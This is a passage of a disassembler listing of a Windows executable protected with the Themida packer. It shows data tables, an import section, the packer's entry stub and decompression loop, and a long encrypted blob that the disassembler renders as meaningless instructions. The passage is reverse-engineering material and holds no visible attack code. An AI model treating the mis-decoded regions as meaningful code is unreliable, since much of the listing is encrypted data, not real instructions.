sub_42BE10+176r ... dword_4DB40C dd 0 ; DATA XREF: sub_42C0A0+37w ; sub_42C160+1Br ... dword_4DB410 dd 0 ; DATA XREF: sub_42C0A0+6Ew ; sub_42C160+101r ... dword_4DB414 dd 0 ; DATA XREF: sub_42C0A0+1Aw ; sub_42C0A0+47r ... dword_4DB418 dd 0 ; DATA XREF: sub_42BE10+45w ; sub_42BE10+4Br ... dword_4DB41C dd 0 ; DATA XREF: sub_42BE10+7Aw ; sub_42BE10+80r ... dword_4DB420 dd 0 ; DATA XREF: sub_42BE10:loc_42BEB9w ; sub_42BE10:loc_42BF1Er ... dword_4DB424 dd 0 ; DATA XREF: sub_42BE10+182r ; sub_42BE10+1CBr ... dword_4DB428 dd 0 ; DATA XREF: sub_42BE10+6r ; sub_42BE10+2Cw ... dword_4DB42C dd 0 ; DATA XREF: sub_428050:loc_4280ACr byte_4DB430 db 0 ; DATA XREF: sub_42F960+18Fo ; sub_42F960+1F2r ... align 8 dword_4DB438 dd 0 ; DATA XREF: sub_42B940+11o ; ___:off_444E6Co ... dword_4DB43C dd 0 ; DATA XREF: sub_42FC00+26r ; sub_42FC00+46w ... dword_4DB440 dd 0 ; DATA XREF: sub_4307B0+26r ; sub_4307B0+41w ... dword_4DB444 dd 0 ; DATA XREF: sub_430950+26r ; sub_430950+41w ... dword_4DB448 dd 0 ; DATA XREF: sub_430B00+26r ; sub_430B00+4Bw ... byte_4DB44C db 0 ; DATA XREF: sub_40C32Ar sub_40C32A+9w align 10h dword_4DB450 dd 0 ; DATA XREF: sub_42EAE0+8Fw ; sub_42EAE0+A4w ... dword_4DB454 dd 0 ; DATA XREF: sub_42EC70+1C4w ; sub_42EC70+1EDw ... dword_4DB458 dd 0 ; DATA XREF: sub_419D00+11r ; sub_41A630+32r ... dword_4DB45C dd 0 ; DATA XREF: sub_419D00+6o ; sub_419D00+1Ao ... dword_4DB460 dd 24561C8h ; DATA XREF: sub_418D40+EDr ; sub_418D40+109r ... dd 3Fh dup(0) dword_4DB560 dd 20h ; DATA XREF: sub_41B1B0+7r ; sub_41DD40+7r ... dword_4DB564 dd 4E4h ; DATA XREF: sub_41FB40+22r ; sub_41FB40+14Aw ... align 10h word_4DB570 dw 0 ; DATA XREF: sub_41FB40+19Aw ; sub_41FB40+2F3w ... align 4 dd 2 dup(0) dword_4DB57C dd 0 ; DATA XREF: sub_41FB40+150w ; sub_41FB40+2C2w ... byte_4DB580 db 0 ; DATA XREF: sub_41FFF0+1CEw ; sub_41FFF0+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DB680 db 0 ; DATA XREF: sub_41FB40+ABw ; sub_41FB40+1F4w ... byte_4DB681 db 0 ; DATA XREF: sub_417BD0+92r ; sub_41FB40+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DB784 dd 0 ; DATA XREF: sub_41FB40+169w ; sub_41FB40+205w ... dword_4DB788 dd 10h ; DATA XREF: sub_41BE20+48w ; sub_41CA50+9r ... dword_4DB78C dd 0 ; DATA XREF: sub_41BF40+475r ; sub_41BF40+4A4r ... dword_4DB790 dd 2451E90h ; DATA XREF: sub_41BE20+2Ew ; sub_41BF40+5B2w ... dword_4DB794 dd 0 ; DATA XREF: sub_41BE20+34w ; sub_41BF40+468r ... dword_4DB798 dd 1 ; DATA XREF: ___:0041BD73r ; sub_41BE20+3Ew ... dword_4DB79C dd 2451E90h ; DATA XREF: ___:0041BD56r ; ___:loc_41BDC6r ... dword_4DB7A0 dd 2450000h ; DATA XREF: sub_4163D0+76r ; sub_41B8E0+5Cr ... dword_4DB7A4 dd 0 ; DATA XREF: ___:0041AAF4r ; ___:0041AAFFw ... dword_4DB7A8 dd 142340h ; DATA XREF: ___:loc_426122r ; ___:00426350r ... dword_4DB7AC dd 2456680h ; DATA XREF: sub_418D40+48w ; sub_418D40+4Dr ... dd 4 dup(0) dword_4DB7C0 dd 400h dup(0) ; DATA XREF: ___:off_4438C0o ; ___:004438C8o dword_4DC7C0 dd 200h ; DATA XREF: sub_418D40+4r ; sub_418D40+Dw ... dword_4DC7C4 dd 1 ; DATA XREF: ___:0042630Bw ; sub_42D080+Er dword_4DC7C8 dd 1 ; DATA XREF: sub_420320+3r ; sub_420320+16w ... dword_4DC7CC dd 28F0050h ; DATA XREF: sub_4179C0+45r ; sub_419BD0+19r ... dword_4DC7D0 dd 28F0050h ; DATA XREF: sub_4179C0+3Cr ; sub_4179C0+5Ar ... dword_4DC7D4 dd 0 ; DATA XREF: ___:00416554r ; ___:0041655Fw ... byte_4DC7D8 db 0 ; DATA XREF: sub_431910+5r ; sub_431910+11r ... align 4 dd 209h dup(0) aHxHxHxHxHxDaDa db 'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'µ¤í$µ¤í$µ¤í$µ¤í$µ¤í$',0 align 4 dd 80h dup(0) dd 24EDA4B5h, 10h dup(0) dd 9C37848h, 25E0000h, 25F0000h, 2600000h, 2600794h, 2610000h dd 2620000h, 2620C10h, 2630000h, 26300A5h, 2640000h, 2641DF9h dd 2641E8Fh, 2650000h, 2660000h, 266080Ch, 2660D18h, 2670000h dd 77E75CB5h dword_4DD2BC dd 267009Bh ; DATA XREF: sub_401317+B8r ; ___:00402A6Ar ... dd 267039Fh dword_4DD2C4 dd 2680000h ; DATA XREF: sub_4097CE+33r dd 2690000h dword_4DD2CC dd 2690599h ; DATA XREF: sub_401317+29r ; sub_409ECC+2E5r ... dword_4DD2D0 dd 2690610h ; DATA XREF: sub_4014E0:loc_4019EEr dword_4DD2D4 dd 26908EFh ; DATA XREF: sub_40F811:loc_40F8A2r dword_4DD2D8 dd 26A0000h ; DATA XREF: sub_4014E0+11r dword_4DD2DC dd 26A0797h ; DATA XREF: sub_4014E0+2r dword_4DD2E0 dd 26A08FFh ; DATA XREF: ___:00402B4Dr ; sub_40F4EE+32r dd 26A0AF2h dword_4DD2E8 dd 26B0000h ; DATA XREF: sub_413426+B9r dd 26B0658h dword_4DD2F0 dd 26B068Fh ; DATA XREF: ___:loc_40294Ar dd 26B0AE4h, 26B0C38h, 26B0CCEh, 26C0000h dword_4DD304 dd 26C05FFh ; DATA XREF: ___:004027BEr ; sub_413BB4+8Cr dd 26D0000h dword_4DD30C dd 26D0BAFh ; DATA XREF: sub_40F4EE:loc_40F5DAr dd 26E0000h dword_4DD314 dd 26F0000h ; DATA XREF: sub_42BE10+18r dd 26F053Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD31E: ; CODE XREF: ___:004DD325j jo short loc_4DD322 add bl, ah loc_4DD322: ; CODE XREF: ___:loc_4DD31Ej div dword ptr [edi+1Fh] loop loc_4DD31E ja short loc_4DD361 add eax, 7700270h ; --------------------------------------------------------------------------- dw 270h dword_4DD330 dd 2710000h ; DATA XREF: ___:004128F1r dd 2720000h dword_4DD338 dd 2730000h ; DATA XREF: sub_40F811+Br dd 27308F4h, 27309FCh dword_4DD344 dd 2730F02h ; DATA XREF: sub_40F738+3Ar ; sub_4139E2+79r dword_4DD348 dd 2740000h ; DATA XREF: sub_40F63F+23r ; sub_4139E2+37r ; --------------------------------------------------------------------------- jmp short near ptr byte_4DD360 ; --------------------------------------------------------------------------- dw 274h dd 2750000h, 2750B9Bh dword_4DD358 dd 2760000h ; DATA XREF: sub_411E5F+36r dd 276028Ah byte_4DD360 db 0 ; CODE XREF: ___:004DD34Cj ; --------------------------------------------------------------------------- loc_4DD361: ; CODE XREF: ___:004DD327j add [edi+2], dh push ebp push es ja short loc_4DD36A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD36A: ; CODE XREF: ___:004DD366j js short loc_4DD36E ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD36E: ; CODE XREF: ___:loc_4DD36Aj jns short loc_4DD372 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD372: ; CODE XREF: ___:loc_4DD36Ej jp short near ptr loc_4DD375+1 popf loc_4DD375: ; CODE XREF: ___:loc_4DD372j or edi, [edx+2] bound ecx, [esi] jp short loc_4DD37E ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD37E: ; CODE XREF: ___:004DD37Aj jnp short loc_4DD382 xchg al, [ecx] loc_4DD382: ; CODE XREF: ___:loc_4DD37Ej jnp short loc_4DD386 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD386: ; CODE XREF: ___:loc_4DD382j jl short loc_4DD38A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4DD38A: ; CODE XREF: ___:loc_4DD386j jge short loc_4DD38E inc edx push es loc_4DD38E: ; CODE XREF: ___:loc_4DD38Aj jge short near ptr loc_4DD391+1 xchg eax, ecx loc_4DD391: ; CODE XREF: ___:loc_4DD38Ej or edi, [ebp+2] ; --------------------------------------------------------------------------- dd 27E0000h, 27E06F2h, 27F0000h, 2800000h, 2801179h dword_4DD3A8 dd 2810000h ; DATA XREF: sub_4129B0+Fr ; --------------------------------------------------------------------------- mov eax, 61028111h adc eax, 19630281h add dword ptr [edx], 2820000h jmp short loc_4DD3D3 ; --------------------------------------------------------------------------- dw 282h dd 2821B33h, 2830000h, 283011Ch, 2840000h db 53h, 5, 84h ; --------------------------------------------------------------------------- loc_4DD3D3: ; CODE XREF: ___:004DD3BCj add bh, [ebx+0Ch] test [edx], al retf 840Ch ; --------------------------------------------------------------------------- add al, [eax] add [ebp-7AE3DCFEh], al add al, [eax+1Ch] test [edx], eax movsd db 36h jmp short loc_4DD463 ; --------------------------------------------------------------------------- dd 2860000h, 28602BDh, 28606DCh, 286074Ch, 2870000h, 2880000h dd 28820CAh, 288298Bh, 2890000h, 2890603h, 28907B6h, 289096Fh dd 2890A01h, 28A0000h, 28A043Ch, 28A0C44h, 28A0CDDh, 28A0DEDh dd 28B0000h, 28B084Ah, 28B087Ch, 28B088Ch, 28C0000h, 28C077Ah dd 28D0000h, 28E0000h, 28E10BCh, 28E12BDh, 28E13DBh db 3Ch, 14h, 8Eh ; --------------------------------------------------------------------------- loc_4DD463: ; CODE XREF: ___:004DD3E9j add al, [eax] ; --------------------------------------------------------------------------- db 3 dup(0) dd 71AB1836h, 71AB41DAh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h dd 71AB868Dh, 71AB1746h, 71AB3E5Dh, 71AB3F8Dh, 71AB1A6Dh dword_4DD490 dd 71AB5690h ; DATA XREF: sub_40C89D+B5r ; sub_40C89D+28Br dd 71AB3C22h dword_4DD498 dd 71AB1AF4h ; DATA XREF: sub_40C89D+A4r ; sub_40C89D:loc_40CB17r dd 71AB1B7Bh, 71AB12F8h, 71AB1890h, 2D6h dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 00100000 (1048576.) ; Section size in file : 00100000 (1048576.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 0E167FF53h, 4B6EBh, 56C66h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054C7AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054FC51 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054FEC7 SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0054FF28 SIZE 00000096 BYTES ; FUNCTION CHUNK AT 0054FFF4 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej ; DATA XREF: ___:0043F70Do ... mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_54C7AC mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(“ÉäŠx¼^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_54C7AC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 15334A0h, 138EFEAh, 21E2EE46h, 0FCBF102Eh, 46B88733h dd 2422FFFEh, 0FCBE1BE1h, 73650752h, 33726174h, 2E8B7041h dd 8E778D3h, 21789CDDh, 281CFC75h, 0D523047Eh, 57007E52h dd 8403989Bh, 7122AF7Bh, 0BCAB0AE1h, 6C538A92h, 5701A3FFh dd 656854C0h, 64691C6Dh, 5D7F2161h, 0EC9F0112h, 0EB0143FEh dd 843F4ABEh, 3DC36BCh, 0B7545D23h, 53FC8017h, 87700122h dd 5C35E47Fh, 1191FF21h, 8E5F8F70h, 0D443C58Bh, 4084E860h dd 0AFED815Dh, 7E00334h, 30999589h, 0DB50D08h, 7185841Bh dd 0BD830106h, 70F8Dh, 0E88B0C74h, 0B84EE2E4h, 78C2694Fh dd 0E3244470h, 19493E88h, 0E8456A03h, 682907A3h, 0CF83749Ah dd 30ADF4Ah, 0A894B25h, 0E921D5D2h, 0EC4A0214h db 0FAh, 1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+1359DEAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E0378 iret ; --------------------------------------------------------------------------- dw 820h dd 4566D0F4h, 431812FFh, 0DC36E1EBh ; --------------------------------------------------------------------------- loc_4E0378: ; CODE XREF: Themida_:004E0367j popa frstor byte ptr [esi] add eax, 104C2C9h inc esi add esp, 2A3FF7Ch dec ecx xchg eax, ecx out 0, al lea eax, [ebp-80h] mov ebx, [ebp+8] mov dword ptr [ecx-7Bh], 8D501219h or byte ptr [edx], 0D1h retn ; --------------------------------------------------------------------------- dd 412A1888h, 81280B89h, 5D8006BDh, 27A5E375h, 64BA8D0Ah dd 8075013Bh, 0F4BB0E8Ah, 3B85B24h, 785437ABh, 0FF3D0D3h dd 754B080Eh, 0C3AFC1F7h, 4A494647h, 0A8F94618h, 0AE61D142h dd 0F0D0818Ah, 28EEF6D7h, 284DFC45h, 0F2AD04EBh, 3E803146h dd 4DBAF740h, 8634B984h, 7FEB0C7Dh, 32F8433Eh, 13F0126Dh dd 10F40E2Ah, 65C14A05h, 0D60004F0h, 3E0D1F8h, 2880E5C2h dd 1C8ADB33h, 0FB738030h, 0A0A7230h, 0F4057739h, 22C9FBEBh dd 0D961149Fh, 0FD660A0Dh, 7D1EBD08h, 0B00AC33Ah, 72411A10h dd 460AC30Bh, 247A0677h, 615D0188h, 83F4ECF0h, 7202CC7Dh dd 0C00CB06Ch, 99A5DD76h, 7F826AAh, 0A88D1D38h, 553B02A8h dd 78820FFCh, 6B0BDA7h, 43F938AAh, 0B98308BAh, 0FCA17082h dd 372CBDh, 7470FFEh, 0B9FA7549h, 736A1722h, 0D18F01BBh dd 0BCEB82F1h, 8E00760Ch, 0E1391386h, 0E0655108h, 0FB1DDF36h dd 7268A94h, 0C05E928h, 2861059h, 0BC01F60Fh, 273FC917h dd 88F8C32Ch, 0EA1DC612h, 681F0B0Dh, 0B3C03ECCh, 5ED1D238h dd 3F113337h, 0C200F160h, 52B4BC67h, 0C034CB8Ch, 4E398210h dd 0F01765Bh, 3D51B810h, 3BF1D104h, 588746D9h, 562E0975h dd 48020E11h, 9065E4ECh, 84578006h, 328E05C5h, 53E92696h dd 0C2042A3Ch, 718C0629h, 0EE78205h, 0FF98A8DDh, 6077812Bh dd 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh, 3040EFB3h dd 0EC714199h, 0CC7F8C33h, 1940F2FFh, 4AE9FD45h, 0C4621460h dd 254D018Eh, 0B1AA8211h, 68AB1146h, 4513845Ah, 5EDA3056h dd 3155EE82h, 0EFFB0181h, 0EA8A0338h, 231388B9h, 0A3439714h dd 0E951C06Bh, 2117C304h, 8A90C459h, 94A32545h, 21160930h dd 6C45141h, 0C010DFB3h, 544640E0h, 88C45C1Ch, 17C45D8Ah dd 0C4544440h, 5D18A87Bh, 0A01715EAh, 0C0779Dh, 0B3743DE1h dd 0A87364BFh, 3018C500h, 0DD3577E2h, 8D6712C6h, 0D91D07DAh dd 3705C781h, 0CA0B52F8h, 12476141h, 905844EAh, 69C00093h dd 4B278B4h, 0CF0763ABh, 0A184FF6h, 86C8EC61h, 9D4517F5h dd 87108121h, 3BC9548h, 5F0D951Fh, 151D24EAh, 10D8F98Bh dd 77CBB60Fh, 7F3E0EF8h, 348003FEh, 0A0633665h, 2230EA52h dd 8C670901h, 0BA068AD9h, 96A01A30h, 14C43A42h, 0E9062A2Eh dd 0FC03310Fh, 0FE61C5E3h, 0DCCDE805h, 0C67E3Bh, 0C48CBA52h dd 8283B55Bh, 64EBC318h, 9BFF932h, 6924D14Eh, 0B8805703h dd 0E0680C6Fh, 8B3B8C87h, 3F0FCDEh, 53F893A0h, 710011EAh dd 572D8C20h, 56C59Eh, 0A0C11A40h, 0E7328468h, 0E4369167h dd 0BC4B65D0h, 0C32A180Ch, 92941608h, 0F9688B00h, 90CC8C58h dd 7DE95003h, 0EBAD013Fh, 0CFA526CDh, 0D1222061h, 5A62FD0Fh dd 2602AF84h, 12F078Eh, 0A106E482h, 9E4B532Eh, 0DF806102h dd 10C694EDh, 62D10C8Ch, 8638EF84h, 6FEA0F44h, 34E00B1Bh dd 0F5C5B7E9h, 0EFE58D01h, 7EEAF6B6h, 76BA3264h, 0AFF73E7Dh dd 32134700h, 0E78001E8h, 7B0E7990h, 9E1CC9D0h, 3A256500h dd 9B8FD8h, 1DE603E8h, 639318DCh, 0D0CC7F2h, 39F86476h dd 31CA00E2h, 40A35C1Fh, 0A004CA8h, 4262361Eh, 609FC4C3h dd 2EE72806h, 0E5E8A4D3h, 3C061D7Ah, 0FC643E2Ah, 75F90049h dd 0C37121C7h, 0B12E1570h, 3B27D7h, 6E802BF3h, 0C2C6963h dd 0A4578B71h, 6800E189h, 708650C6h, 0C395CF93h, 24397718h dd 85F6790Ch, 90058022h, 71EE6FCFh, 0F0998F8Dh, 0B03EF19h dd 0A9189F2Ah, 4D82F006h, 0FB2514B3h, 8C1118F3h, 4287C1Ch dd 8E210CE8h, 80FC101Dh, 9F5A09DCh, 66FE060Bh, 710E6D8Ah dd 7D991415h, 48DB00BCh, 479F1A8Fh, 0AE4400BAh, 5B1C3F7Ch dd 0A11466EFh, 10C45FBBh, 7E1405A4h, 8A0C9C2Bh, 8E510C6Eh dd 4FCA318h, 24280620h, 20A9251Eh, 47460F44h, 0D8B86930h dd 0F4288B70h, 0FF3094B4h, 1AC4898Fh, 6E900B6h, 5D42BDB8h dd 7E00D227h, 8D921CB1h, 0E01F615Bh, 43851804h, 9F5DA041h dd 1DF93018h, 0C767258h, 1F6A8A8Eh, 2A54EE99h, 0ED00AF8Ch dd 0C2D974BCh, 0D724B9h, 0F6B7AA5Dh, 0ACADCC6Eh, 209A9800h dd 15044199h, 908152A1h, 69674700h, 8A0948D9h, 9B15A8A0h dd 74A410A0h, 9036DB30h, 48D8D392h, 641530ECh, 0D73A80F4h dd 3B853C83h, 0B8985A6Ah, 0DD0F3098h, 91961594h, 0C2F0DB02h dd 8C8190BFh, 48493DA0h, 0A3148FE0h, 0CB0117Ch, 0E11AD126h dd 3EC6EA23h, 0FE9F3D12h, 0FC9C04Fh, 0F7ACF9EEh, 16889700h dd 0D39350EFh, 99FC64D4h, 0A93441F2h, 0C5205D76h, 0BDB0A0Ch dd 0C1ECC34Fh, 0A2D0AB2Eh, 3A38FC39h, 29D3987Ch, 60FF55F0h dd 0E99BC184h, 0F600D947h, 8B7DEBF5h, 793A0A70h, 0B371C064h dd 0A5BA1A88h, 38776C1Fh, 0B56980FEh, 73C16074h, 0E3C32475h dd 67681A0h, 0D07C66E2h, 2844EEABh, 5C7E78E1h, 3700BB69h dd 7436452h, 6B3DD2B4h, 30A800D5h, 84776746h, 3E7F30A4h dd 81FFB2A8h, 7AD24788h, 0E8A514F2h, 0F3BB008h, 0E36124B0h dd 0D33BD52Bh, 84E080F2h, 0DBED5597h, 929F1421h, 4D00F6FFh dd 48BBF787h, 0E026D30Fh, 88B95007h, 2B4F493h, 3FC63899h dd 7AE74C40h, 2C422606h, 669322Ah, 0B89D0816h, 40AA054h dd 0F894D1FCh, 0A15D0F9Fh, 6F8B7243h, 9A500382h, 500A5C3Bh dd 6D5240C7h, 0B400A7ADh, 3146788Bh, 0E3CE11h, 72C4DF39h dd 1B3B49D7h, 0ADC2E107h, 5E390A8h, 31ECA0D2h, 0E76B03F0h dd 0EED74E66h, 2D98108Eh, 976C3700h, 145A316Eh, 0F15D004Ah dd 0D91B4349h, 0BC00F065h, 0B972E8FDh, 283CD891h, 0D016A8h dd 4B5160A9h, 0FE74155Ch, 360AAD2Eh, 802F290Ah, 0B875D00Fh dd 54FF64F8h, 70808Eh, 3BF04096h, 771867FEh, 0F9C21701h dd 60ACC799h, 903DE2CCh, 0E4D22F0h, 94A4BC91h, 71D1108h dd 8317E6B8h, 10121FB5h, 24358AEAh, 3B6BD004h, 899C1404h dd 2F242004h, 52663740h, 8A09CCD4h, 8020076Ch, 4E70AC01h dd 0CE76B301h, 0FF256642h, 1A305863h, 686D2F29h, 81488200h dd 32A7EFF0h, 